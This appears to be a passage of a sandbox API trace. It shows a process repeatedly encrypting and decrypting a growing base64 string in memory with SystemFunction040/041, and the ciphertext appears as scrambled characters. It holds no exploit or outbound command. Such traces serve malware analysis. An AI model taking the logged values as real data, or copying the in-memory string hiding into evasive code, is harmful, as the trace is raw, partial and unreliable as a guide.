(param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0208.599] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0208.599] SysStringLen (param_1="NDZlOD") returned 0x8 [0208.599] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0208.599] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0208.600] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0208.600] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0208.600] SysStringLen (param_1="NDZlODR") returned 0x8 [0208.600] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0208.600] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0208.600] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0208.600] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0208.600] SysStringLen (param_1="NDZlODRm") returned 0x8 [0208.600] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0208.600] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0208.600] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0208.600] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0208.601] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0208.601] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0208.601] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0208.601] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0208.601] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0208.601] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0208.601] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0208.601] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0208.601] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0208.601] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0208.602] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0208.602] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0208.602] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0208.602] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0208.602] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0208.602] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0208.602] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0208.602] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0208.602] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0208.602] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0208.602] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0208.602] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0208.602] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0208.602] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0208.602] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0208.602] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0208.603] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0208.603] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0208.603] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0208.603] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0208.603] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0208.603] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0208.603] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0208.603] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0208.603] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0208.603] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0208.603] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0208.603] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0208.603] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0208.603] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0208.604] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0208.604] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0208.604] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0208.604] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0208.604] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0208.604] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0208.604] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0208.604] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0208.604] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0208.605] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0208.605] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0208.605] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0208.605] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0208.605] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0208.605] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0208.605] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0208.605] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0208.605] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0208.605] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0208.605] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0208.605] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0208.605] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0208.605] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0208.605] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0208.606] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0208.606] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0208.606] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0208.606] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0208.606] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0208.606] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0208.606] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0208.606] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0208.606] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0208.606] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0208.606] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0208.606] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0208.606] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0208.606] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0208.607] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0208.607] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0208.607] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0208.607] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0208.607] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0208.607] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0208.607] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0208.607] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0208.608] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0208.608] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0208.608] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0208.608] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0208.608] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0208.608] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0208.608] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0208.608] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0208.608] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0208.608] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0208.608] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0208.608] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0208.608] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0208.608] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0208.608] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0208.608] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0208.609] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0208.609] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0208.609] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0208.609] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0208.609] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0208.609] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0208.609] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0208.609] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0208.609] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0208.609] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0208.609] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0208.609] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0208.609] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0208.609] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0208.609] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0208.610] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0208.610] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0208.610] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0208.610] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0208.610] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0208.610] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0208.610] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0208.610] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0208.610] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0208.610] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0208.610] SystemFunction041 (in: Memory=0x5c91c7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c7c) returned 0x0 [0208.611] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0208.611] SystemFunction040 (in: Memory=0x5c91c7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c7c) returned 0x0 [0208.611] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0208.611] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0208.611] SystemFunction041 (in: Memory=0x5c91c7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c7c) returned 0x0 [0208.611] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0208.611] SystemFunction040 (in: Memory=0x5c91c7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c7c) returned 0x0 [0208.611] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0208.611] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0208.611] SystemFunction041 (in: Memory=0x5c91c7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c7c) returned 0x0 [0208.611] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0208.611] SystemFunction040 (in: Memory=0x5c91c7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c7c) returned 0x0 [0208.611] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0208.611] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0208.611] SystemFunction041 (in: Memory=0x5c91c7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c7c) returned 0x0 [0208.612] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0208.612] SystemFunction040 (in: Memory=0x5c91c7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c7c) returned 0x0 [0208.612] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0208.612] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0208.612] SystemFunction041 (in: Memory=0x5c91c7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c7c) returned 0x0 [0208.612] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0208.612] SystemFunction040 (in: Memory=0x5c91c7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c7c) returned 0x0 [0208.612] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0208.612] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0208.612] SystemFunction041 (in: Memory=0x5c91c7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c7c) returned 0x0 [0208.612] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0208.612] SystemFunction040 (in: Memory=0x5c91c7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c7c) returned 0x0 [0208.612] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0208.612] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0208.612] SystemFunction041 (in: Memory=0x5c91c7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c7c) returned 0x0 [0208.613] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0208.613] SystemFunction040 (in: Memory=0x5c91c7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c7c) returned 0x0 [0208.613] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0208.613] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0208.613] SystemFunction041 (in: Memory=0x5c91c7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c7c) returned 0x0 [0208.613] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0208.613] SystemFunction040 (in: Memory=0x5c91c7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c7c) returned 0x0 [0208.613] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0208.613] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0208.613] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0208.613] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0208.613] SystemFunction041 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0208.614] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0208.614] SystemFunction040 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0208.614] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0208.614] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0208.614] SystemFunction041 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0208.614] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0208.614] SystemFunction040 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0208.614] SysStringLen 